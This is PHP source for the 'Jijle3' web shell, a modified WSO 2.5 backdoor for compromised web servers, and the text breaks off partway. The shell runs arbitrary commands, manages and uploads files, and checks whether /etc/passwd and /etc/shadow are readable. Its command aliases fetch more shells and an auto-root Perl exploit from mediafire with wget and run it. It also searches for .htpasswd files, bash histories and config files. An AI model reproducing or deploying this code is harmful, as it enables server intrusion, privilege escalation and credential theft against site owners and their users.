<?php
echo "<link rel='shortcut icon' href='http://www.dz-streaming.eu/favicon.ico'> \r\n <style type='text/css'> \r\n input[type=submit], input[type=button], input[type=reset]{ \r\n    text-align:center; \r\n    background:url(http://i43.tinypic.com/5owgmq.jpg) repeat-x center bottom #666666; \r\n    border:1px solid #4D4D4D; \r\n    color:#CCCCCC; \r\n    border-top-color:#565656; \r\n    padding:4px 6px; \r\n    margin:4px 5px; \r\n    height:16px; \r\n    -moz-box-shadow:0 0 1px black; \r\n    -webkit-box-shadow:0 0 1px black; \r\n    box-shadow:0 0 1px black; \r\n    text-shadow:0 1px black; \r\n    -moz-border-radius:4px; \r\n    -webkit-border-radius:4px; \r\n    -khtml-border-radius:4px; \r\n    border-radius:4px; \r\n    height:23px; \r\n} \r\ninput[type=submit]:hover , input[type=button]:hover, input[type=reset]:hover{ \r\n    background-position:center top; \r\n    text-decoration:none; \r\n} \r\ninput[type=text], input[type=password]{ \r\n    background:urlhttp://i43.tinypic.com/5owgmq.jpg) repeat-x center bottom #666666; \r\n    border:1px solid #4D4D4D; \r\n    color:#CCCCCC; \r\n    border-top-color:#565656; \r\n    -moz-box-shadow:0 0 1px black; \r\n    -webkit-box-shadow:0 0 1px black; \r\n    box-shadow:0 0 1px black; \r\n    -moz-border-radius:4px; \r\n    -webkit-border-radius:4px; \r\n    -khtml-border-radius:4px; \r\n    border-radius:4px; \r\n    height:18px; \r\n    margin-left: 5px; \r\n} \r\ninput , textarea , button , body , caption , table ,area , option { \r\n    outline:none; \r\n    transition: all 0.20s ease-in-out; \r\n    -webkit-transition: all 0.25s ease-in-out; \r\n    -moz-transition: all 0.25s ease-in-out; \r\n    border-radius:3px; \r\n    -webkit-border-radius:3px; \r\n    -moz-border-radius:3px; \r\n    border:1px solid rgba(0,0,0, 0.2); \r\n /*   font-family: 'Gill Sans', 'Gill Sans MT', Calibri, 'Trebuchet MS', sans-serif; */ \r\n} \r\ninput , textarea { \r\n    background: url('http://i41.tinypic.com/ibkmd5.png') repeat scroll 0 0 #333333;'; \r\n} \r\ninput:focus, textarea:focus ,button:active , body:focus , caption:focus , table:focus ,area:focus ,option:focus  { \r\n    box-shadow: 0 0 5px rgba(0, 0, 255, 1); \r\n    -webkit-box-shadow: 0 0 5px rgba(0, 0, 255, 1); \r\n    -moz-box-shadow: 0 0 5px rgba(0, 0, 255, 1); \r\n    border: 1px solid #CCCC00; \r\n    background: url('http://i41.tinypic.com/ibkmd5.png') repeat scroll 0 0 #333333;'; \r\n    overflow: auto; \r\n/*    font-family: 'Gill Sans', 'Gill Sans MT', Calibri, 'Trebuchet MS', sans-serif; */ \r\n} \r\nbody{ \r\n/*    font-family : Verdana; */ \r\n    color : #f9f6f1; \r\n    font-size : 0.7em; \r\n    background: url(http://i44.tinypic.com/i56tc9.jpg) no-repeat center top #252525; \r\n} \r\ninput , textarea { \r\n    outline:none; \r\n    transition: all 0.20s ease-in-out; \r\n    -webkit-transition: all 0.25s ease-in-out; \r\n    -moz-transition: all 0.25s ease-in-out; \r\n    border-radius:3px; \r\n    -webkit-border-radius:3px; \r\n    -moz-border-radius:3px; \r\n    border:1px solid rgba(0,0,0, 0.2); \r\n} \r\ninput:focus, textarea:focus { \r\n  outline: 0; \r\n  border-color: rgba(82, 168, 236, 0.8); \r\n  -webkit-box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6); \r\n  -moz-box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6); \r\n  box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6); \r\n    background: url('http://i41.tinypic.com/ibkmd5.png') repeat scroll 0 0 #333333;'; \r\n    overflow: auto; \r\n} \r\n  </style> \r\n  ";
# jijle3 login
#$auth_pass = md5('Jijle3');
#$color = "#df5";
#$default_action = 'Home';
#$default_use_ajax = true;
#$default_charset = 'Windows-1251';
#if(!empty($_SERVER['HTTP_USER_AGENT'])) {
#  $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
#if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
# header('HTTP/1.0 404 Not Found');
# exit;
# }
#}
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');
if (get_magic_quotes_gpc()) {
    function WSOstripslashes($array)
    {
        return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
    }
    $_POST = WSOstripslashes($_POST);
    $_COOKIE = WSOstripslashes($_COOKIE);
}
function wsoLogin()
{
    die("<center><span>Password : </span><input type=password name=pass><input type=submit value='Enter'></form></pre>");
}
function WSOsetcookie($k, $v)
{
    $_COOKIE[$k] = $v;
    setcookie($k, $v);
}
if (!empty($auth_pass)) {
    if (isset($_POST['pass']) && md5($_POST['pass']) == $auth_pass) {
        WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
    }
    if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || $_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass) {
        wsoLogin();
    }
}
if (strtolower(substr(PHP_OS, 0, 3)) == "win") {
    $os = 'win';
} else {
    $os = 'nix';
}
$safe_mode = @ini_get('safe_mode');
if (!$safe_mode) {
    error_reporting(0);
}
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if (isset($_POST['c'])) {
    @chdir($_POST['c']);
}
$cwd = @getcwd();
if ($os == 'win') {
    $home_cwd = str_replace("\\", "/", $home_cwd);
    $cwd = str_replace("\\", "/", $cwd);
}
if ($cwd[strlen($cwd) - 1] != '/') {
    $cwd .= '/';
}
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'])) {
    $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool) $default_use_ajax;
}
if ($os == 'win') {
    $aliases = array("List Directory" => "dir", "Find index.php in current dir" => "dir /s /w /b index.php", "Find *config*.php in current dir" => "dir /s /w /b *config*.php", "Show active connections" => "netstat -an", "Show running services" => "net start", "User accounts" => "net user", "Show computers" => "net view", "ARP Table" => "arp -a", "IP Configuration" => "ipconfig /all");
} else {
    $aliases = array("List dir" => "ls -lha", "list file attributes on a Linux second extended file system" => "lsattr -va", "show opened ports" => "netstat -an | grep -i listen", "process status" => "ps aux", "Jijle3 : Get Nother Shells" => "", "Dhanush Shell       | pass:Jijle3" => "wget http://download1582.mediafire.com/9jtscxv4qdzg/7zq2q32v02kz59j/dhanush.php.zip ; unzip dhanush.php.zip", "K2ll33d Shell       " => "wget http://download1643.mediafire.com/iq7073edn7pg/3vqec9bm5krrdrj/kil223dd.php.zip ; unzip kil223dd.php.zip", "1n73ction Shell   | pass:1n73ction " => "wget http://download1512.mediafire.com/m8hgk0nnrupg/954ho11nt2b48w8/1n73ction.php.zip ; unzip 1n73ction.php.zip", "Cyber Shell           | pass:Jijle3" => "wget http://download1512.mediafire.com/phidtd82s8vg/q6qx0xhcd1efzd5/cyb3.php.zip ; unzip cyb3.php.zip", "Jijle3 : Some Commonds" => "", "Logged in users" => "w", "Last to connect" => "lastlog", "IP Addresses" => "cat /etc/hosts", "Check MMAP" => "cat /proc/sys/vm/mmap_min_addr", "USER WITHOUT PASSWORD!" => "cut -d: -f1,2,3 /etc/passwd | grep ::", "List of Cpanel`s domains(valiases)" => "ls -l /etc/valiases", "Downloaders?)" => "which wget curl w3m lynx", "Show running proccess" => "ps aux", "Memory check" => "cat /proc/meminfo", "Get cpanel logs" => "cat /var/cpanel/accounting.log", "Jijle3 : Auto Root Commonds" => "", "First ! : GET Auto Root File [ Perl ]" => "wget http://download944.mediafire.com/5fi1yfk5ttcg/u4seoaw7ze1dio0/phdz.pl.zip ; unzip phdz.pl.zip ; ./phdz.pl", "AutoRoot [ Linux ]" => "perl phdz.pl linux", "AutoRoot [ FreeBSD ]" => "perl phdz.pl bsd", "AutoRoot [ SunOS ]" => "perl phdz.pl sunos", "Find" => "", "find all suid files" => "find / -type f -perm -04000 -ls", "find suid files in current dir" => "find . -type f -perm -04000 -ls", "find all sgid files" => "find / -type f -perm -02000 -ls", "find sgid files in current dir" => "find . -type f -perm -02000 -ls", "find config.inc.php files" => "find / -type f -name config.inc.php", "find config* files" => "find / -type f -name \"config*\"", "find config* files in current dir" => "find . -type f -name \"config*\"", "find all writable folders and files" => "find / -perm -2 -ls", "find all writable folders and files in current dir" => "find . -perm -2 -ls", "find all service.pwd files" => "find / -type f -name service.pwd", "find service.pwd files in current dir" => "find . -type f -name service.pwd", "find all .htpasswd files" => "find / -type f -name .htpasswd", "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", "find all .bash_history files" => "find / -type f -name .bash_history", "find .bash_history files in current dir" => "find . -type f -name .bash_history", "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", "Locate" => "", "locate httpd.conf files" => "locate httpd.conf", "locate vhosts.conf files" => "locate vhosts.conf", "locate proftpd.conf files" => "locate proftpd.conf", "locate psybnc.conf files" => "locate psybnc.conf", "locate my.conf files" => "locate my.conf", "locate admin.php files" => "locate admin.php", "locate cfg.php files" => "locate cfg.php", "locate conf.php files" => "locate conf.php", "locate config.dat files" => "locate config.dat", "locate config.php files" => "locate config.php", "locate config.inc files" => "locate config.inc", "locate config.inc.php" => "locate config.inc.php", "locate config.default.php files" => "locate config.default.php", "locate config* files " => "locate config", "locate .conf files" => "locate '.conf'", "locate .pwd files" => "locate '.pwd'", "locate .sql files" => "locate '.sql'", "locate .htpasswd files" => "locate '.htpasswd'", "locate .bash_history files" => "locate '.bash_history'", "locate .mysql_history files" => "locate '.mysql_history'", "locate .fetchmailrc files" => "locate '.fetchmailrc'", "locate backup files" => "locate backup", "locate dump files" => "locate dump", "locate priv files" => "locate priv");
}
function wsoHeader()
{
    if (empty($_POST['charset'])) {
        $_POST['charset'] = $GLOBALS['default_charset'];
    }
    global $color;
    if (!$color) {
        $color = '#df5';
    }
    echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " | Jijle3 [PHDZ]</title> \r\n<style> \r\nbody{background-color:#444;color:#e1e1e1;} \r\nbody,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; } \r\ntable.info{ color:#fff;background-color:#222; } \r\nspan,h1,a{ color: {$color} !important; } \r\nspan{ font-weight: bolder; } \r\nh1{ border-left:5px solid {$color};padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; } \r\ndiv.content{ padding: 5px;margin-left:5px;background-color:#333; } \r\na{ text-decoration:none; } \r\na:hover{ text-decoration:underline; } \r\n.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; } \r\n.bigarea{ width:100%;height:250px; } \r\ninput,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid {$color}; font: 9pt Monospace,'Courier New'; } \r\nform{ margin:0px; } \r\n#toolsTbl{ text-align:center; } \r\n.toolsInp{ width: 300px } \r\n.main th{text-align:left;background-color:#5e5e5e;} \r\n.main tr:hover{background-color:#5e5e5e} \r\n.l1{background-color:#444} \r\npre{font-family:Courier,Monospace;} \r\n</style> \r\n<script> \r\n    var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "'; \r\n    var a_ = '" . htmlspecialchars(@$_POST['a']) . "' \r\n    var charset_ = '" . htmlspecialchars(@$_POST['charset']) . "'; \r\n    var p1_ = '" . (strpos(@$_POST['p1'], "\n") !== false ? '' : htmlspecialchars($_POST['p1'], ENT_QUOTES)) . "'; \r\n    var p2_ = '" . (strpos(@$_POST['p2'], "\n") !== false ? '' : htmlspecialchars($_POST['p2'], ENT_QUOTES)) . "'; \r\n    var p3_ = '" . (strpos(@$_POST['p3'], "\n") !== false ? '' : htmlspecialchars($_POST['p3'], ENT_QUOTES)) . "'; \r\n    var d = document; \r\n    function set(a,c,p1,p2,p3,charset) { \r\n        if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_; \r\n        if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_; \r\n        if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_; \r\n        if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_; \r\n        if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_; \r\n        if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_; \r\n    } \r\n    function g(a,c,p1,p2,p3,charset) { \r\n        set(a,c,p1,p2,p3,charset); \r\n        d.mf.submit(); \r\n    } \r\n    function a(a,c,p1,p2,p3,charset) { \r\n        set(a,c,p1,p2,p3,charset); \r\n        var params = 'ajax=true'; \r\n        for(i=0;i<d.mf.elements.length;i++) \r\n            params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value); \r\n        sr('" . addslashes($_SERVER['REQUEST_URI']) . "', params); \r\n    } \r\n    function sr(url, params) { \r\n        if (window.XMLHttpRequest) \r\n            req = new XMLHttpRequest(); \r\n        else if (window.ActiveXObject) \r\n            req = new ActiveXObject('Microsoft.XMLHTTP'); \r\n        if (req) { \r\n            req.onreadystatechange = processReqChange; \r\n            req.open('POST', url, true); \r\n            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded'); \r\n            req.send(params); \r\n        } \r\n    } \r\n    function processReqChange() { \r\n        if( (req.readyState == 4) ) \r\n            if(req.status == 200) { \r\n                var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm'); \r\n                var arr=reg.exec(req.responseText); \r\n                eval(arr[2].substr(0, arr[1])); \r\n            } else alert('Request error!'); \r\n    } \r\n                     \r\n</script> \r\n<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'> \r\n<form method=post name=mf style='display:none;'> \r\n<input type=hidden name=a> \r\n<input type=hidden name=c> \r\n<input type=hidden name=p1> \r\n<input type=hidden name=p2> \r\n<input type=hidden name=p3> \r\n<input type=hidden name=charset> \r\n</form>";
    $freeSpace = @diskfreespace($GLOBALS['cwd']);
    $totalSpace = @disk_total_space($GLOBALS['cwd']);
    $totalSpace = $totalSpace ? $totalSpace : 1;
    $release = @php_uname('r');
    $kernel = @php_uname('s');
    $explink = 'http://exploit-db.com/search/?action=search&filter_description=';
    if (strpos('Linux', $kernel) !== false) {
        $explink .= urlencode('Linux Kernel ' . substr($release, 0, 6));
    } else {
        $explink .= urlencode($kernel . ' ' . substr($release, 0, 3));
    }
    if (!function_exists('posix_getegid')) {
        $user = @get_current_user();
        $uid = @getmyuid();
        $gid = @getmygid();
        $group = "?";
    } else {
        $uid = @posix_getpwuid(posix_geteuid());
        $gid = @posix_getgrgid(posix_getegid());
        $user = $uid['name'];
        $uid = $uid['uid'];
        $group = $gid['name'];
        $gid = $gid['gid'];
    }
    $cwd_links = '';
    $path = explode("/", $GLOBALS['cwd']);
    $n = count($path);
    for ($i = 0; $i < $n - 1; $i++) {
        $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
        for ($j = 0; $j <= $i; $j++) {
            $cwd_links .= $path[$j] . '/';
        }
        $cwd_links .= "\")'>" . $path[$i] . "/</a>";
    }
    $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
    $opt_charsets = '';
    foreach ($charsets as $item) {
        $opt_charsets .= '<option value="' . $item . '" ' . ($_POST['charset'] == $item ? 'selected' : '') . '>' . $item . '</option>';
    }
    $m = array('Home' => 'home', 'Sec Info' => 'SecInfo', 'Exec' => 'Console', 'Sql' => 'Sql', 'Baypass' => 'bypss', 'Forums' => 'forum', 'Symlink' => 'symlinker', 'Domain' => 'domains', 'Tools' => 'tools', 'Cgi' => 'cgi', 'String' => 'StringTools', 'Network' => 'Network', 'About' => 'about');
    if (!empty($GLOBALS['auth_pass'])) {
        $m['Logout'] = 'Logout';
    }
    $m['Suicide'] = 'SelfRemove';
    $menu = '';
    foreach ($m as $k => $v) {
        $menu .= '<th width="' . (int) (100 / count($m)) . '%">[ <a href="#" onclick="g(\'' . $v . '\',null,\'\',\'\',\'\')">' . $k . '</a> ]</th>';
    }
    $drives = "";
    if ($GLOBALS['os'] == 'win') {
        foreach (range('c', 'z') as $drive) {
            if (is_dir($drive . ':\\')) {
                $drives .= '<a href="#" onclick="g(\'FilesMan\',\'' . $drive . ':/\')">[ ' . $drive . ' ]</a> ';
            }
        }
    }
    echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win' ? '<br>Drives:' : '') . '</span></td>' . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="http://www.google.com/search?q=' . urlencode(@php_uname()) . '" target="_blank">[ Google ]</a>  <a href="http://www.exploit-db.com/search/?action=search&filter_description=' . urlencode(@php_uname()) . '" target="_blank">[ Exploit-db ]</a> <a href="http://www.1337day.com/search" target="_blank">[ 1337day ]</a> <a href="http://exploitsearch.com/search.html?cx=000255850439926950150%3A_vswux9nmz0&cof=FORID%3A10&q=' . urlencode(@php_uname()) . '" target="_blank">[ ExploitSearch ]</a> <a href="http://www.shodanhq.com/exploits?q=' . urlencode(@php_uname()) . '" target="_blank">[ Shodanhq ]</a> </nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' ) <span>Locals Pack :</span><a href="http://rghost.net/6YYsd7ynN" target="_blank">  [ Download ]</a></b> <br>' . @phpversion() . '<span>Safe mode:</span> ' . ($GLOBALS['safe_mode'] ? '<font color=red>ON</font>' : '<font color=green><b>OFF</b></font> ') . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' (' . (int) ($freeSpace / $totalSpace * 100) . '%)<br>' . $cwd_links . ' ' . wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ File Manager ]</a><br><br>' . $drives . '</td>' . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Your IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr><br> 
</td></tr></table>' . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
}
function wsoFooter()
{
    $is_writable = is_writable($GLOBALS['cwd']) ? " <font color='green'>(Writeable)</font>" : " <font color=red>(Not writable)</font>";
    echo " \r\n</div> \r\n<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style='border-top:2px solid #333;border-bottom:2px solid #333;'> \r\n    <tr> \r\n        <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=submit value='>>'></form></td> \r\n        <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td> \r\n    </tr><tr> \r\n        <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>{$is_writable}<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td> \r\n        <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>{$is_writable}<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td> \r\n    </tr><tr> \r\n        <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td> \r\n        <td><form method='post' ENCTYPE='multipart/form-data'> \r\n        <input type=hidden name=a value='FilesMAn'> \r\n        <input type=hidden name=c value='" . $GLOBALS['cwd'] . "'> \r\n        <input type=hidden name=p1 value='uploadFile'> \r\n        <input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'> \r\n        <span>Upload file:</span>{$is_writable}<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br  ></td> \r\n    </tr></table></div></body></html>";
}
if (!function_exists("posix_getpwuid") && strpos($GLOBALS['disable_functions'], 'posix_getpwuid') === false) {
    function posix_getpwuid($p)
    {
        return false;
    }
}
if (!function_exists("posix_getgrgid") && strpos($GLOBALS['disable_functions'], 'posix_getgrgid') === false) {
    function posix_getgrgid($p)
    {
        return false;
    }
}
function wsoEx($in)
{
    $out = '';
    if (function_exists('exec')) {
        @exec($in, $out);
        $out = @join("\n", $out);
    } elseif (function_exists('passthru')) {
        ob_start();
        @passthru($in);
        $out = ob_get_clean();
    } elseif (function_exists('system')) {
        ob_start();
        @system($in);
        $out = ob_get_clean();
    } elseif (function_exists('shell_exec')) {
        $out = shell_exec($in);
    } elseif (is_resource($f = @popen($in, "r"))) {
        $out = "";
        while (!@feof($f)) {
            $out .= fread($f, 1024);
        }
        pclose($f);
    }
    return $out;
}
function wsoViewSize($s)
{
    if ($s >= 1073741824) {
        return sprintf('%1.2f', $s / 1073741824) . ' GB';
    } elseif ($s >= 1048576) {
        return sprintf('%1.2f', $s / 1048576) . ' MB';
    } elseif ($s >= 1024) {
        return sprintf('%1.2f', $s / 1024) . ' KB';
    } else {
        return $s . ' B';
    }
}
function wsoPerms($p)
{
    if (($p & 0xc000) == 0xc000) {
        $i = 's';
    } elseif (($p & 0xa000) == 0xa000) {
        $i = 'l';
    } elseif (($p & 0x8000) == 0x8000) {
        $i = '-';
    } elseif (($p & 0x6000) == 0x6000) {
        $i = 'b';
    } elseif (($p & 0x4000) == 0x4000) {
        $i = 'd';
    } elseif (($p & 0x2000) == 0x2000) {
        $i = 'c';
    } elseif (($p & 0x1000) == 0x1000) {
        $i = 'p';
    } else {
        $i = 'u';
    }
    $i .= $p & 0x100 ? 'r' : '-';
    $i .= $p & 0x80 ? 'w' : '-';
    $i .= $p & 0x40 ? $p & 0x800 ? 's' : 'x' : ($p & 0x800 ? 'S' : '-');
    $i .= $p & 0x20 ? 'r' : '-';
    $i .= $p & 0x10 ? 'w' : '-';
    $i .= $p & 0x8 ? $p & 0x400 ? 's' : 'x' : ($p & 0x400 ? 'S' : '-');
    $i .= $p & 0x4 ? 'r' : '-';
    $i .= $p & 0x2 ? 'w' : '-';
    $i .= $p & 0x1 ? $p & 0x200 ? 't' : 'x' : ($p & 0x200 ? 'T' : '-');
    return $i;
}
function wsoPermsColor($f)
{
    if (!@is_readable($f)) {
        return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
    } elseif (!@is_writable($f)) {
        return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
    } else {
        return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
    }
}
function wsoScandir($dir)
{
    if (function_exists("scandir")) {
        return scandir($dir);
    } else {
        $dh = opendir($dir);
        while (false !== ($filename = readdir($dh))) {
            $files[] = $filename;
        }
        return $files;
    }
}
function wsoWhich($p)
{
    $path = wsoEx('which ' . $p);
    if (!empty($path)) {
        return $path;
    }
    return false;
}
function actionSecInfo()
{
    wsoHeader();
    //Sec info
    echo '<h1>Server Security Info</h1><div class=content>';
    ?>
 
</div> 
</center> 
<?php 
    function wsoSecParam($n, $v)
    {
        $v = trim($v);
        if ($v) {
            echo '<span>' . $n . ': </span>';
            if (strpos($v, "\n") === false) {
                echo $v . '<br>';
            } else {
                echo '<pre class=ml1>' . $v . '</pre>';
            }
        }
    }
    wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
    if (function_exists('apache_get_modules')) {
        wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
    }
    wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions'] ? $GLOBALS['disable_functions'] : 'none');
    wsoSecParam('Open base dir', @ini_get('open_basedir'));
    wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
    wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
    wsoSecParam('cURL support', function_exists('curl_version') ? 'enabled' : 'no');
    $temp = array();
    if (function_exists('mysql_get_client_info')) {
        $temp[] = "MySql (" . mysql_get_client_info() . ")";
    }
    if (function_exists('mssql_connect')) {
        $temp[] = "MSSQL";
    }
    if (function_exists('pg_connect')) {
        $temp[] = "PostgreSQL";
    }
    if (function_exists('oci_connect')) {
        $temp[] = "Oracle";
    }
    wsoSecParam('Supported databases', implode(', ', $temp));
    echo '<br>';
    if ($GLOBALS['os'] == 'nix') {
        wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>" : 'no');
        wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>" : 'no');
        wsoSecParam('OS version', @file_get_contents('/proc/version'));
        wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
        if (!$GLOBALS['safe_mode']) {
            $userful = array('gcc', 'lcc', 'cc', 'ld', 'make', 'php', 'perl', 'python', 'ruby', 'tar', 'gzip', 'bzip', 'bzip2', 'nc', 'locate', 'suidperl');
            $danger = array('kav', 'nod32', 'bdcored', 'uvscan', 'sav', 'drwebd', 'clamd', 'rkhunter', 'chkrootkit', 'iptables', 'ipfw', 'tripwire', 'shieldcc', 'portsentry', 'snort', 'ossec', 'lidsadm', 'tcplodg', 'sxid', 'logcheck', 'logwatch', 'sysmask', 'zmbscap', 'sawmill', 'wormscan', 'ninja');
            $downloaders = array('wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror');
            echo '<br>';
            $temp = array();
            foreach ($userful as $item) {
                if (wsoWhich($item)) {
                    $temp[] = $item;
                }
            }
            wsoSecParam('Userful', implode(', ', $temp));
            $temp = array();
            foreach ($danger as $item) {
                if (wsoWhich($item)) {
                    $temp[] = $item;
                }
            }
            wsoSecParam('Danger', implode(', ', $temp));
            $temp = array();
            foreach ($downloaders as $item) {
                if (wsoWhich($item)) {
                    $temp[] = $item;
                }
            }
            wsoSecParam('Downloaders', implode(', ', $temp));
            echo '<br/>';
            wsoSecParam('HDD space', wsoEx('df -h'));
            wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
        }
    } else {
        wsoSecParam('OS Version', wsoEx('ver'));
        wsoSecParam('Account Settings', wsoEx('net accounts'));
        wsoSecParam('User Accounts', wsoEx('net user'));
    }
    echo '</div>';
    wsoFooter();
}
################# Home  #################
function actionhome()
{
    wsoHeader();
    //Home
    echo ' 
<center> 
<h1>[ Salam &hearts; Alaykoum ]</h1> 
<br /><br /> 
</form> 
';
    ?>
<head> 
<body bgcolor="Black"><table width=100% height=100%><td align="center"> 
<img src="http://www5.0zz0.com/2014/11/29/18/934285237.png" height="150" title="Martyrs Crew  2015 " width="478" ></img></img><p> 
</img></img><p> 
<span class="style1"><font size="9" color="#FFFFFF" face="Adobe Heiti Std R"></font><font size="9" face="Adobe Heiti Std R" color="#008000"></font><font size="7" color="#df5" face="Adobe Heiti Std R"> 
Jijle3 PHP Shell v 0.1.8</font><font size="9" face="Adobe Heiti Std R" color="#008000"></font><font size="7" color="#FFFFFF" face="Adobe Heiti Std R"></font></span></p> 
<span>[ Say Hamd Li ' Allah &hearts;  ] </span> 
<p> 

<img src="http://im48.gulfup.com/jIm93E.png" height="92" title="Martyrs Crew Index Logo 2014 " width="178" ></p> 
<p> 
<pre> 
<iframe src="//www.facebook.com/plugins/likebox.php?href=https%3A%2F%2Fwww.facebook.com%2FJ1jeI&amp;width&amp;height=62&amp;colorscheme=light&amp;show_faces=false&amp;header=true&amp;stream=false&amp;show_border=true" scrolling="no" frameborder="0" style="border:none; overflow:hidden; height:62px;" allowTransparency="true"></iframe><pre> 
<p> 
<?php 
    echo $serverIP = gethostbyname($_SERVER["HTTP_HOST"]);
    echo '</center><br>';
    echo "<br><br><center><b><font face='Tahoma' name=sip color='white' size='2pt'>Jijle3 PHP Web Shell V 0.1.8 (c) Phenomene Dz [ Martyrs Crew ] 2015</font></b></td><font face='Tahoma' color='WHITE' size='2pt' />";
    echo " &nbsp;&nbsp;&nbsp;&nbsp; <b><a href='http://bing.com/search?q=ip:" . $serverIP . "&go=&form=QBLH&filt=all' target=\"_blank\">Bing.com \r\n </a></b> &nbsp;&nbsp;-&nbsp;&nbsp;  <b><a href='http://zone-h.com/archive/ip=" . $serverIP . " \r\n' target=\"_blank\">Zone-H.org</a>&nbsp;&nbsp;-&nbsp;&nbsp<a href='http://www.yougetsignal.com/tools/web-sites-on-web-server/ \r\n' target=\"_blank\">Yougetsignal.com</a> \r\n&nbsp;&nbsp;-&nbsp;&nbsp; <b><a href='http://toolbar.netcraft.com/site_report?url=https://" . $_SERVER['HTTP_HOST'] . "&go=&form=QBLH&filt=all' target=\"_blank\">NetCraft.com \r\n </a></b> &nbsp;&nbsp;-&nbsp;&nbsp;  <b><a href='https://pentest-tools.com/ \r\n' target=\"_blank\">Pentest-Tools.com</a> \r\n</b></center><br>";
    wsoFooter();
}
################# End Home  #################
function actionlfiscan()
{
    wsoHeader();
    print ' 
   <h3>Led-Zeppelin\'s LFI File dumper</h3> 

